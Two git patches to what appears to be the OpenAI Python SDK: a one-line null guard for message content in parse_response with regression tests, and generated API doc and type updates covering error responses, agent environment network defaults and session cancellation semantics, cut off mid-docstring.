From fab5283255ad76d9e79e202e1cf46b6eea783f4b Mon Sep 17 00:00:00 2001
From: Lichao Chen
Date: Fri, 18 Sep 2026 15:04:37 -0700
Subject: [PATCH 173/341] fix(lib): treat null message content as empty in
parse_response (#3851)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Changes being requested
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
Fixes #3840
`parse_response()` in `src/openai/lib/_parsing/_responses.py` iterates
`output.content` without a null guard, so a message output item with
`content: null` raises `TypeError: 'NoneType' object is not iterable`
instead of parsing:
```python
client.responses.parse(model="...", input="...")
# API returns output: [{"id": ..., "type": "message", "role": "assistant",
# "status": "completed", "content": null}]
# -> TypeError: 'NoneType' object is not iterable
```
Null reaches the parser because stream events are built without
validation, and the same payload also passes the non-streaming path
(reproduced with a mocked transport, both sync and async). This is the
same class of bug as null `output`, fixed in #3345.
The fix applies the same `or []` idiom used at line 61 for null `output`
(one line). The change is in `src/openai/lib/`, which per
CONTRIBUTING.md is handwritten and never modified by the generator, so
no custom-code budget impact.
## Additional context & links
- Follow-up to #3325 / #3345 (null `output`), one level deeper: message
`content`.
- Regression test added in `tests/lib/responses/test_null_output.py`
next to the existing null-output tests, mirroring the
`test_parse_response_with_null_output` pattern from #3345.
- Verification: reproduced the `TypeError` on current `main`; new test
fails without the fix and passes with it; full `tests/lib/responses/`
suite passes (96 passed); `ruff check` clean on both files; `git diff
--check` clean. Diff is 2 files, +31/−2.
---------
Co-authored-by: Lichao Chen <3780722+chenlichao@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
src/openai/lib/_parsing/_responses.py | 2 +-
tests/lib/responses/test_null_content.py | 113 +++++++++++++++++++++++
tests/lib/responses/test_null_output.py | 31 ++++++-
3 files changed, 144 insertions(+), 2 deletions(-)
create mode 100644 tests/lib/responses/test_null_content.py
diff --git a/src/openai/lib/_parsing/_responses.py b/src/openai/lib/_parsing/_responses.py
index 03396a73f0..fdf5132c3c 100644
--- a/src/openai/lib/_parsing/_responses.py
+++ b/src/openai/lib/_parsing/_responses.py
@@ -63,7 +63,7 @@ def parse_response(
for output in response.output or []:
if output.type == "message":
content_list: List[ParsedContent[TextFormatT]] = []
- for item in output.content:
+ for item in output.content or []:
if item.type != "output_text":
content_list.append(item)
continue
diff --git a/tests/lib/responses/test_null_content.py b/tests/lib/responses/test_null_content.py
new file mode 100644
index 0000000000..7ff1c27f79
--- /dev/null
+++ b/tests/lib/responses/test_null_content.py
@@ -0,0 +1,113 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+
+
+def _null_content_item() -> dict[str, object]:
+ return {
+ "id": "msg_test",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": None,
+ }
+
+
+def _completed_event(output: object) -> dict[str, object]:
+ return {
+ "type": "response.completed",
+ "sequence_number": 1,
+ "response": {
+ "id": "resp_test",
+ "status": "completed",
+ "model": "test-model",
+ "output": output,
+ },
+ }
+
+
+def _stream_body(output: object) -> bytes:
+ events: list[dict[str, object]] = [
+ {"type": "response.created", "sequence_number": 0, "response": {"id": "resp_test", "status": "in_progress"}},
+ _completed_event(output),
+ ]
+ return "".join(f"data: {json.dumps(event)}\n\n" for event in events).encode()
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+async def test_stream_explicit_null_message_content(sync: bool) -> None:
+ """An explicit completed output whose message has content:null must parse to empty content, not TypeError."""
+ transport = httpx2.MockTransport(
+ lambda _request: httpx2.Response(
+ 200, content=_stream_body([_null_content_item()]), headers={"content-type": "text/event-stream"}
+ )
+ )
+ if sync:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=transport)) as client:
+ with client.responses.stream(model="test-model", input="test") as stream:
+ emitted = list(stream)
+ final = stream.get_final_response()
+ else:
+ async with AsyncOpenAI(
+ api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=transport)
+ ) as async_client:
+ async with async_client.responses.stream(model="test-model", input="test") as async_stream:
+ emitted = [event async for event in async_stream]
+ final = await async_stream.get_final_response()
+
+ completed = emitted[-1]
+ assert completed.type == "response.completed"
+ assert completed.response == final
+ assert final.output_text == ""
+ assert final.output_parsed is None
+ assert len(final.output) == 1
+ message = final.output[0]
+ assert message.type == "message"
+ assert message.id == "msg_test"
+ assert message.role == "assistant"
+ assert message.status == "completed"
+ assert message.content == []
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+async def test_parse_null_message_content(sync: bool) -> None:
+ """Non-streaming responses.parse must not raise TypeError on content:null either."""
+ body = json.dumps(
+ {
+ "id": "resp_test",
+ "object": "response",
+ "created_at": 1,
+ "model": "test-model",
+ "status": "completed",
+ "parallel_tool_calls": False,
+ "tool_choice": "auto",
+ "tools": [],
+ "output": [_null_content_item()],
+ }
+ )
+ transport = httpx2.MockTransport(
+ lambda _request: httpx2.Response(200, content=body, headers={"content-type": "application/json"})
+ )
+ if sync:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=transport)) as client:
+ parsed = client.responses.parse(model="test-model", input="test")
+ else:
+ async with AsyncOpenAI(
+ api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=transport)
+ ) as async_client:
+ parsed = await async_client.responses.parse(model="test-model", input="test")
+
+ assert parsed.output_text == ""
+ assert parsed.output_parsed is None
+ assert len(parsed.output) == 1
+ message = parsed.output[0]
+ assert message.type == "message"
+ assert message.id == "msg_test"
+ assert message.role == "assistant"
+ assert message.status == "completed"
+ assert message.content == []
diff --git a/tests/lib/responses/test_null_output.py b/tests/lib/responses/test_null_output.py
index 4c782de03a..1394cc0980 100644
--- a/tests/lib/responses/test_null_output.py
+++ b/tests/lib/responses/test_null_output.py
@@ -7,7 +7,10 @@
from pydantic import BaseModel
from openai import OpenAI, AsyncOpenAI
-from openai.types.responses import ToolParam
+from openai._types import omit
+from openai._models import construct_type_unchecked
+from openai.types.responses import Response, ToolParam
+from openai.lib._parsing._responses import parse_response
class Answer(BaseModel):
@@ -123,3 +126,29 @@ async def test_stream_recovers_finalized_output(sync: bool, terminal_output: str
assert tool.type == "function_call" and tool.status == "completed"
assert tool.id == "fc_test"
assert tool.parsed_arguments == {"answer": 4}
+
+
+def test_parse_response_with_null_message_content() -> None:
+ response = construct_type_unchecked(
+ type_=Response,
+ value={
+ "id": "resp_test",
+ "status": "completed",
+ "output": [
+ {
+ "id": "msg_test",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": None,
+ }
+ ],
+ },
+ )
+
+ parsed = parse_response(text_format=omit, input_tools=omit, response=response)
+
+ assert len(parsed.output) == 1
+ message = parsed.output[0]
+ assert message.type == "message"
+ assert message.content == []
From 618bb312e52c2b62f75f56602b7388e6d023aa33 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Sat, 19 Sep 2026 01:19:31 +0000
Subject: [PATCH 174/341] fix(api)!: correct model types and network policy
docs (#3896)
## Summary
Removes the unsupported gpt-5.1-mini model from typed model choices and
clarifies network policy and Realtime documentation. The model was never
available; removing its typed choices is an intentional breaking change.
## Changes
- Remove gpt-5.1-mini from typed model choices
- Document version-specific network defaults and the difference between
omitting a policy and resetting it with null
- Identify conversation.item.added and conversation.item.done in
Realtime item-creation documentation
- Clarify recovery and completion semantics for agent session
cancellation and deletion
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 197 +++++++++++++++++-
src/openai/resources/beta/agents/agents.py | 30 +--
.../beta/agents/environments/templates.py | 22 +-
.../resources/beta/agents/sessions/events.py | 10 +-
.../beta/agents/sessions/sessions.py | 38 +++-
.../resources/beta/responses/responses.py | 12 --
.../resources/chat/completions/completions.py | 42 ++--
.../resources/conversations/conversations.py | 14 +-
src/openai/resources/images.py | 42 ++--
src/openai/resources/realtime/realtime.py | 10 +-
src/openai/resources/responses/responses.py | 2 -
src/openai/types/beta/agent_create_params.py | 14 +-
src/openai/types/beta/agent_reasoning.py | 7 +-
src/openai/types/beta/agent_reasoning_item.py | 2 +-
.../types/beta/agent_reasoning_param.py | 7 +-
src/openai/types/beta/agent_session.py | 4 +-
.../beta/agent_session_assistant_message.py | 2 +-
.../beta/agent_session_environment_state.py | 4 +-
.../types/beta/agent_session_input_param.py | 2 +-
src/openai/types/beta/agent_session_item.py | 2 +-
.../types/beta/agent_session_message.py | 2 +-
.../agent_session_turn_cancelled_event.py | 5 +-
.../agent_session_turn_completed_event.py | 5 +-
.../beta/agent_session_turn_failed_event.py | 5 +-
src/openai/types/beta/agent_text_param.py | 4 +-
src/openai/types/beta/agent_tool.py | 4 +-
src/openai/types/beta/agent_tool_param.py | 13 +-
src/openai/types/beta/agent_update_params.py | 8 +-
.../types/beta/agent_web_search_call_item.py | 2 +-
.../environments/template_create_params.py | 17 +-
.../environments/template_update_params.py | 18 +-
.../beta/agents/session_create_params.py | 16 +-
.../beta/agents/session_update_params.py | 4 +-
src/openai/types/beta/agents/sessions/turn.py | 6 +-
.../beta/agents/vaults/credential_auth.py | 9 +-
.../vaults/credential_auth_create_param.py | 4 +-
.../vaults/credential_auth_rotate_param.py | 9 +-
src/openai/types/beta/beta_response.py | 1 -
...onse_output_text_annotation_added_event.py | 2 +-
.../types/beta/beta_responses_client_event.py | 1 -
.../beta/beta_responses_client_event_param.py | 1 -
src/openai/types/beta/beta_tool.py | 9 +-
src/openai/types/beta/beta_tool_param.py | 9 +-
src/openai/types/beta/environment_param.py | 17 +-
src/openai/types/beta/persisted_agent_tool.py | 4 +-
.../types/beta/persisted_agent_tool_param.py | 10 +-
.../types/beta/response_compact_params.py | 1 -
.../types/beta/response_create_params.py | 1 -
.../types/chat/completion_create_params.py | 7 +-
.../conversation_update_params.py | 7 +-
src/openai/types/image_edit_params.py | 9 +-
.../conversation_item_create_event.py | 5 +-
.../conversation_item_create_event_param.py | 5 +-
.../responses/response_compact_params.py | 1 -
...onse_output_text_annotation_added_event.py | 2 +-
src/openai/types/responses/tool.py | 9 +-
src/openai/types/responses/tool_param.py | 9 +-
src/openai/types/shared/chat_model.py | 1 -
src/openai/types/shared_params/chat_model.py | 1 -
tests/api_resources/beta/test_responses.py | 8 +-
tests/api_resources/test_responses.py | 8 +-
62 files changed, 485 insertions(+), 251 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e27d8c0982..cd7e9cd11d 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 84d5b19e-e118-402a-940c-00134d57a039
-openapi_spec_hash: 9530fc18efeeb0be58821616af20494d
-openapi_transformed_spec_hash: bcd481fc6089377839837e55cdfa80cc
-config_hash: 487f26152d0893506c0e0d1060441bd0
-codegen_sha: 136c93db5472eb81849571ca9059367e650ef723
-codegen_hash: 0a9ede8d6058e352650cb2411de35dc1509646d728f9a94c78531c177508d37e
-public_codegen_sha: 2fbff3f92f139fde3a75d38e399be22ad19afe04
+generation_id: 00fd992b-43e7-476c-999d-305e4ae74cd4
+openapi_spec_hash: 84134428f171b3b38963eb0c48d77892
+openapi_transformed_spec_hash: 88d2fb7ef538589f2a7ff8b474bd8d24
+config_hash: e5cd2ea20dc089f47efc81a424eea9bd
+codegen_sha: cf5c8ef14a54c51273bf7c5b9caa89f086c9f8de
+codegen_hash: f849b3f032724992e238a44df359ebe5d8d70daea89373a46f5efd6be121c40d
+public_codegen_sha: b5bd437ed16cb63514f12daacd4a60540258d79f
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index a22f1dbb9d..4ac45b32ff 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -10321,6 +10321,31 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupUserAssignment'
+ '400':
+ description: The request contains invalid parameters or an invalid body.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller lacks the required permissions or is not using an admin API key.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The group or user was not found in the organization, or this endpoint is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: |
+ The request conflicts with the current state of the group.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10416,6 +10441,31 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupUserDeletedResource'
+ '400':
+ description: The request contains invalid parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller lacks the required permissions or is not using an admin API key.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The group or user was not found in the organization, or this endpoint is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: |
+ The request conflicts with the current state of the group.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10619,6 +10669,34 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/InviteDeleteResponse'
+ '400':
+ description: |
+ The request is invalid or the invite cannot be deleted in its current state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: |
+ The caller is not permitted to delete the invite.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: |
+ The invite was not found in the organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: |
+ The request rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12227,6 +12305,34 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectServiceAccountDeleteResponse'
+ '400':
+ description: |
+ The request is invalid or the service account cannot be deleted in its current state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: |
+ The caller is not permitted to delete the service account.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: |
+ The project or service account was not found in the organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: |
+ The request rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12640,7 +12746,34 @@ paths:
schema:
$ref: '#/components/schemas/ProjectUser'
'400':
- description: Error response for various conditions.
+ description: |
+ The request is invalid or the user cannot be added to the project in its current state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller lacks the required permissions.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: |
+ The project or user was not found in the organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: |
+ The request conflicts with the current state of the resource.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request exceeded the rate limit.
content:
application/json:
schema:
@@ -14883,6 +15016,34 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserDeleteResponse'
+ '400':
+ description: |
+ The request is invalid or the user cannot be removed in their current state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: |
+ The caller is not permitted to delete the user.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: |
+ The user was not found in the organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: |
+ The request rate limit was exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -26660,7 +26821,7 @@ paths:
delete:
operationId: deleteAgentSession
summary: Delete an agent session
- description: Removes a managed agent session from the public API and returns a deletion confirmation. Physical cleanup may continue asynchronously. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+ description: Removes a managed agent session from the public API and returns a deletion confirmation. If backend execution has ended, deletion can cancel a still-open public turn and abandon unpublished outputs. Running execution must be cancelled first. Physical cleanup may continue asynchronously. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
tags:
- Agents
parameters:
@@ -27114,7 +27275,7 @@ paths:
post:
operationId: createAgentSessionEvents
summary: Create agent session input events
- description: Submits message, cancellation, or tool-result events to a managed agent session. See [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
+ description: Submits message, cancellation, or tool-result events to a managed agent session. Cancellation can recover a still-open turn whose backend execution has ended by marking it cancelled and abandoning unpublished outputs. Saved results, published files, and existing terminal outcomes are preserved. HTTP 202 confirms acceptance, not durable completion. See [session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
tags:
- Agents
parameters:
@@ -37477,6 +37638,9 @@ components:
context_management:
anyOf:
- type: array
+ example:
+ - type: compaction
+ compact_threshold: 1000
description: |
Context management configuration for this request.
minItems: 1
@@ -46026,6 +46190,17 @@ components:
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- type: 'null'
+ PermissionErrorResponse:
+ type: object
+ properties:
+ error:
+ description: Details about the permission error.
+ anyOf:
+ - $ref: '#/components/schemas/Error'
+ - type: string
+ description: An explanation of the missing API permissions.
+ required:
+ - error
PredictionContent:
type: object
title: Static Content
@@ -49894,7 +50069,7 @@ components:
- $ref: '#/components/schemas/RealtimeClientEventSessionUpdate'
RealtimeClientEventConversationItemCreate:
type: object
- description: "Add a new Item to the Conversation's context, including messages, function \ncalls, and function call responses. This event can be used both to populate a \n\"history\" of the conversation and to add new items mid-stream, but has the \ncurrent limitation that it cannot populate assistant audio messages.\n\nIf successful, the server will respond with a `conversation.item.created` \nevent, otherwise an `error` event will be sent.\n"
+ description: "Add a new Item to the Conversation's context, including messages, function \ncalls, and function call responses. This event can be used both to populate a \n\"history\" of the conversation and to add new items mid-stream, but has the \ncurrent limitation that it cannot populate assistant audio messages.\n\nIf successful, the server will emit a `conversation.item.added` event and,\nwhen the item is finalized, a `conversation.item.done` event. Otherwise, an\n`error` event will be sent.\n"
properties:
event_id:
type: string
@@ -76384,7 +76559,7 @@ components:
- disabled
- restricted
x-enumDescriptions:
- - Allows unrestricted network access, matching an omitted network policy.
+ - Allows unrestricted network access.
- Disables network access.
- Allows access only to configured domains.
description: The network access mode for an OpenAI-hosted environment.
@@ -76580,7 +76755,7 @@ components:
anyOf:
- $ref: '#/components/schemas/NetworkPolicyParam'
- type: 'null'
- description: Network access policy for the environment. Defaults to enabled.
+ description: Network access policy for the environment. Defaults to disabled for GA requests and enabled for alpha/beta requests.
env:
type:
- object
@@ -76671,7 +76846,7 @@ components:
anyOf:
- $ref: '#/components/schemas/NetworkPolicyParam'
- type: 'null'
- description: Network access available after setup completes.
+ description: Network access available after setup completes. Omit to preserve the current policy, or pass `null` to reset to disabled for GA requests or enabled for alpha/beta requests.
env:
type:
- object
@@ -77780,7 +77955,7 @@ components:
anyOf:
- $ref: '#/components/schemas/NetworkPolicyParam'
- type: 'null'
- description: Network access policy for the environment. Defaults to enabled.
+ description: Network access policy for the environment. Defaults to disabled for GA requests and enabled for alpha/beta requests.
env:
type:
- object
@@ -79486,7 +79661,6 @@ components:
- $ref: '#/components/schemas/ReasoningEffortParam'
- type: 'null'
description: Omit to keep the current effort. Null selects the model's default effort.
- x-openai-go-optional-enum: true
additionalProperties: false
description: Reasoning effort for subsequent turns. The reasoning summary stays unchanged.
UpdateSessionAgentParam:
@@ -79505,7 +79679,6 @@ components:
- $ref: '#/components/schemas/ServiceTierParam'
- type: 'null'
description: Omit to keep the current tier. Null resets it to auto.
- x-openai-go-optional-enum: true
additionalProperties: false
description: Model settings that can change after session creation.
UpdateAgentSessionParams:
@@ -94803,6 +94976,9 @@ components:
context_management:
anyOf:
- type: array
+ example:
+ - type: compaction
+ compact_threshold: 1000
description: |
Context management configuration for this request.
minItems: 1
@@ -95249,7 +95425,6 @@ components:
- gpt-3.5-turbo-1106
- gpt-3.5-turbo-0125
- gpt-3.5-turbo-16k-0613
- - gpt-5.1-mini
x-stainless-nominal: false
LiveBuiltInVoice:
type: string
diff --git a/src/openai/resources/beta/agents/agents.py b/src/openai/resources/beta/agents/agents.py
index 743e339784..2831847139 100644
--- a/src/openai/resources/beta/agents/agents.py
+++ b/src/openai/resources/beta/agents/agents.py
@@ -115,13 +115,14 @@ def create(
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
- multi_agent: Explicit configuration for creating and coordinating subagents.
+ multi_agent: Configuration for creating and coordinating subagents. Subagent tools are
+ disabled by default.
name: A human-readable name for the agent. Omission or null leaves the agent unnamed.
- reasoning: Reasoning configuration for the agent.
+ reasoning: Configuration for model reasoning. Omission uses the model's default effort.
- service_tier: The service tier used for model requests.
+ service_tier: The service tier used for model requests. Defaults to `auto`.
- `auto` - Selects the service tier automatically.
- `default` - Uses the default service tier.
@@ -129,7 +130,8 @@ def create(
- `priority` - Uses the priority service tier.
- `fast` - Uses the fast service tier.
- text: Configuration for text generated by the agent.
+ text: Configuration for generated text. Defaults to the `text` format and medium
+ verbosity.
tools: Tools available to the agent. Defaults to an empty list.
@@ -243,11 +245,12 @@ def update(
model: The model to use for the agent. The requested model name is preserved.
- multi_agent: Explicit configuration for creating and coordinating subagents.
+ multi_agent: Configuration for creating and coordinating subagents.
name: A replacement name. Omit to leave unchanged, or pass null to clear it.
- reasoning: Reasoning configuration for the agent.
+ reasoning: Configuration for model reasoning. Omit to keep the current settings; pass
+ `null` to reset to the model's default effort.
service_tier: The service tier used for model requests.
@@ -462,13 +465,14 @@ async def create(
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
- multi_agent: Explicit configuration for creating and coordinating subagents.
+ multi_agent: Configuration for creating and coordinating subagents. Subagent tools are
+ disabled by default.
name: A human-readable name for the agent. Omission or null leaves the agent unnamed.
- reasoning: Reasoning configuration for the agent.
+ reasoning: Configuration for model reasoning. Omission uses the model's default effort.
- service_tier: The service tier used for model requests.
+ service_tier: The service tier used for model requests. Defaults to `auto`.
- `auto` - Selects the service tier automatically.
- `default` - Uses the default service tier.
@@ -476,7 +480,8 @@ async def create(
- `priority` - Uses the priority service tier.
- `fast` - Uses the fast service tier.
- text: Configuration for text generated by the agent.
+ text: Configuration for generated text. Defaults to the `text` format and medium
+ verbosity.
tools: Tools available to the agent. Defaults to an empty list.
@@ -590,11 +595,12 @@ async def update(
model: The model to use for the agent. The requested model name is preserved.
- multi_agent: Explicit configuration for creating and coordinating subagents.
+ multi_agent: Configuration for creating and coordinating subagents.
name: A replacement name. Omit to leave unchanged, or pass null to clear it.
- reasoning: Reasoning configuration for the agent.
+ reasoning: Configuration for model reasoning. Omit to keep the current settings; pass
+ `null` to reset to the model's default effort.
service_tier: The service tier used for model requests.
diff --git a/src/openai/resources/beta/agents/environments/templates.py b/src/openai/resources/beta/agents/environments/templates.py
index b8468b34dd..067d62d21a 100644
--- a/src/openai/resources/beta/agents/environments/templates.py
+++ b/src/openai/resources/beta/agents/environments/templates.py
@@ -80,9 +80,10 @@ def create(
name: An optional human-readable display name for the template.
- network: Network access for an OpenAI-hosted environment.
+ network: Network access policy for the environment. Defaults to disabled for GA requests
+ and enabled for alpha/beta requests.
- packages: Packages to install in an OpenAI-hosted environment.
+ packages: Packages to install in the environment. Defaults to empty package lists.
plugins: Plugins provided as inline ZIP archives. Defaults to an empty list.
@@ -205,9 +206,11 @@ def update(
name: A replacement human-readable display name, or `null` to clear the name.
- network: Network access for an OpenAI-hosted environment.
+ network: Network access available after setup completes. Omit to preserve the current
+ policy, or pass `null` to reset to disabled for GA requests or enabled for
+ alpha/beta requests.
- packages: Packages to install in an OpenAI-hosted environment.
+ packages: Packages installed before the runtime network policy applies.
plugins: Replacement plugin configuration installed for each new session.
@@ -415,9 +418,10 @@ async def create(
name: An optional human-readable display name for the template.
- network: Network access for an OpenAI-hosted environment.
+ network: Network access policy for the environment. Defaults to disabled for GA requests
+ and enabled for alpha/beta requests.
- packages: Packages to install in an OpenAI-hosted environment.
+ packages: Packages to install in the environment. Defaults to empty package lists.
plugins: Plugins provided as inline ZIP archives. Defaults to an empty list.
@@ -540,9 +544,11 @@ async def update(
name: A replacement human-readable display name, or `null` to clear the name.
- network: Network access for an OpenAI-hosted environment.
+ network: Network access available after setup completes. Omit to preserve the current
+ policy, or pass `null` to reset to disabled for GA requests or enabled for
+ alpha/beta requests.
- packages: Packages to install in an OpenAI-hosted environment.
+ packages: Packages installed before the runtime network policy applies.
plugins: Replacement plugin configuration installed for each new session.
diff --git a/src/openai/resources/beta/agents/sessions/events.py b/src/openai/resources/beta/agents/sessions/events.py
index dc275d6b75..9c2b61fccf 100644
--- a/src/openai/resources/beta/agents/sessions/events.py
+++ b/src/openai/resources/beta/agents/sessions/events.py
@@ -56,7 +56,10 @@ def create(
) -> None:
"""
Submits message, cancellation, or tool-result events to a managed agent session.
- See
+ Cancellation can recover a still-open turn whose backend execution has ended by
+ marking it cancelled and abandoning unpublished outputs. Saved results,
+ published files, and existing terminal outcomes are preserved. HTTP 202 confirms
+ acceptance, not durable completion. See
[session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
Args:
@@ -167,7 +170,10 @@ async def create(
) -> None:
"""
Submits message, cancellation, or tool-result events to a managed agent session.
- See
+ Cancellation can recover a still-open turn whose backend execution has ended by
+ marking it cancelled and abandoning unpublished outputs. Saved results,
+ published files, and existing terminal outcomes are preserved. HTTP 202 confirms
+ acceptance, not durable completion. See
[session events](https://developers.openai.com/api/docs/guides/agents-api/sessions/events).
Args:
diff --git a/src/openai/resources/beta/agents/sessions/sessions.py b/src/openai/resources/beta/agents/sessions/sessions.py
index e80eccb927..ff13450a70 100644
--- a/src/openai/resources/beta/agents/sessions/sessions.py
+++ b/src/openai/resources/beta/agents/sessions/sessions.py
@@ -165,7 +165,10 @@ def create(
agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
unchanged.
- input: Initial input submitted when creating a session.
+ input: Initial input to submit when the session is created. A string is shorthand for a
+ single user message. Required when `environment.type` is `none`, or when
+ `stream` is `true` for an environment that is not `self_hosted`; optional for
+ self-hosted and non-streaming execution environments.
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
@@ -218,7 +221,10 @@ def create(
agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
unchanged.
- input: Initial input submitted when creating a session.
+ input: Initial input to submit when the session is created. A string is shorthand for a
+ single user message. Required when `environment.type` is `none`, or when
+ `stream` is `true` for an environment that is not `self_hosted`; optional for
+ self-hosted and non-streaming execution environments.
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
@@ -269,7 +275,10 @@ def create(
agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
unchanged.
- input: Initial input submitted when creating a session.
+ input: Initial input to submit when the session is created. A string is shorthand for a
+ single user message. Required when `environment.type` is `none`, or when
+ `stream` is `true` for an environment that is not `self_hosted`; optional for
+ self-hosted and non-streaming execution environments.
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
@@ -506,7 +515,9 @@ def delete(
) -> AgentSessionDeleted:
"""
Removes a managed agent session from the public API and returns a deletion
- confirmation. Physical cleanup may continue asynchronously. See
+ confirmation. If backend execution has ended, deletion can cancel a still-open
+ public turn and abandon unpublished outputs. Running execution must be cancelled
+ first. Physical cleanup may continue asynchronously. See
[managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
Args:
@@ -632,7 +643,10 @@ async def create(
agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
unchanged.
- input: Initial input submitted when creating a session.
+ input: Initial input to submit when the session is created. A string is shorthand for a
+ single user message. Required when `environment.type` is `none`, or when
+ `stream` is `true` for an environment that is not `self_hosted`; optional for
+ self-hosted and non-streaming execution environments.
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
@@ -685,7 +699,10 @@ async def create(
agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
unchanged.
- input: Initial input submitted when creating a session.
+ input: Initial input to submit when the session is created. A string is shorthand for a
+ single user message. Required when `environment.type` is `none`, or when
+ `stream` is `true` for an environment that is not `self_hosted`; optional for
+ self-hosted and non-streaming execution environments.
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
@@ -736,7 +753,10 @@ async def create(
agent_id: The ID of a saved reusable agent. Omit `agent` to use its configuration
unchanged.
- input: Initial input submitted when creating a session.
+ input: Initial input to submit when the session is created. A string is shorthand for a
+ single user message. Required when `environment.type` is `none`, or when
+ `stream` is `true` for an environment that is not `self_hosted`; optional for
+ self-hosted and non-streaming execution environments.
metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
characters. Omission or null defaults to an empty map.
@@ -973,7 +993,9 @@ async def delete(
) -> AgentSessionDeleted:
"""
Removes a managed agent session from the public API and returns a deletion
